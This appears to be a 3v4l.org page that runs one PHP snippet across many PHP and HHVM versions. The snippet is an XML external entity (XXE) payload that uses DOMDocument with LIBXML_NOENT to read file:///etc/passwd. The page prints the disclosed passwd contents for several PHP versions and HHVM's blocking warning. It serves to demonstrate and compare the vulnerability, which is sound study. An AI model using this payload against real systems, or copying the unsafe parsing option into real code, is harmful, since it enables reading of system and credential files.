3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $xml = '<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>'; $doc = new DOMDocument; $doc->loadXML($xml, LIBXML_NOENT); echo $doc->saveXML();
based on aOE5B
Output for 5.4.39 - 5.6.28, 7.0.0 - 7.1.0
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/usr/bin/nologin daemon:x:2:2:daemon:/:/usr/bin/nologin mail:x:8:12:mail:/var/spool/mail:/usr/bin/nologin ftp:x:14:11:ftp:/srv/ftp:/usr/bin/nologin http:x:33:33:http:/srv/http:/usr/bin/nologin uuidd:x:68:68:uuidd:/:/usr/bin/nologin dbus:x:81:81:dbus:/:/usr/bin/nologin nobody:x:99:99:nobody:/:/usr/bin/nologin systemd-journal-gateway:x:191:191:systemd-journal-gateway:/:/usr/bin/nologin systemd-timesync:x:192:192:systemd-timesync:/:/usr/bin/nologin systemd-network:x:193:193:systemd-network:/:/usr/bin/nologin systemd-bus-proxy:x:194:194:systemd-bus-proxy:/:/usr/bin/nologin systemd-resolve:x:195:195:systemd-resolve:/:/usr/bin/nologin </foo>
Output for hhvm-3.10.0 - 3.12.0
Warning: Protocol 'file' for external XML entity 'file:///etc/passwd' is disabled for security reasons. This may be changed using the hhvm.libxml.ext_entity_whitelist ini setting. Warning: Failure to process entity xxe in Entity, line: 4 Warning: Entity 'xxe' not defined in Entity, line: 4 <?xml version="1.0"?>
Output for 5.1.0 - 5.4.38
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>root:x:0:0:root:/root:/bin/sh nobody:x:99:99:nobody:/:/bin/false </foo>
Output for 5.0.0 - 5.0.5
Notice: Use of undefined constant LIBXML_NOENT - assumed 'LIBXML_NOENT' in /in/kgaHo on line 9 Warning: DOMDocument::loadXML() expects exactly 1 parameter, 2 given in /in/kgaHo on line 9 <?xml version="1.0"?>
Output for 4.3.2 - 4.4.9
Fatal error: Cannot instantiate non-existent class: domdocument in /in/kgaHo on line 8
Process exited with code 255.
Output for 4.3.0 - 4.3.1
Fatal error: Cannot instantiate non-existent class: domdocument in /in/kgaHo on line 8